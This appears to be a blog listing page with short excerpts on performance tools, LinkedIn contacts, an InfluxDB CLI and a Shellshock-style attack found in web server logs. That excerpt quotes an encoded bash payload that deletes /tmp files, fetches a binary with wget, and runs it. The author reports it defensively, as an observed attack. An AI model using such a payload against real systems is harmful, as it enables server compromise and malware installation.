A wonderful read on metrics, profiling, benchmarking

Brendan Gregg’s writings are always interesting and informative. I just saw a link on hacker news to a presentation he gave on “Broken Performance Tools“. It is wonderful, and succinctly explains many thing I’ve talked about here and elsewhere, but it goes far beyond what I’ve grumbled over. One of my favorite points in there […]

Has Alibaba been compromised?

I saw this attack in the day job’s web server logs today. From IP address, which appears to point back to Alibaba. This doesn’t mean anything in and of itself, until we look at the payload. ()%20%7B%20:;%20%7D;%20/bin/bash%20-c%20/x22rm%20-rf%20/tmp/*;echo%20wget%20http://;echo%20echo%20By%20China.Z%20%3E%3E%20/tmp/Run.sh;echo%20chmod%20777%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20rm%20-rf%20/tmp/Run.sh%20%3E%3E%20/tmp/Run.sh;chmod%20777%20/tmp/Run.sh;/tmp/Run.sh/x22 This appears to be an attempt to exploit a bash hole. What is interesting is the IP […]

Why doesn’t linkedin make removing a contact easy?

I don’t get this. Yeah, sure, your contacts are curated, and I don’t accept everyone. I need to see some aspect of a connection and be pretty sure they wont spam me personally or try to spam my contacts. So when I find out that this is what happens, I want to block their access […]

InfluxDB cli is up on github

I know there is a node version, and I did try it before I wrote my own. Actually, the reason I wrote my own was that I tried it and … well … Link is here. And yes, the readme is borked about 1/2 way through. Doesn’t quite show the formatting of the output quite […]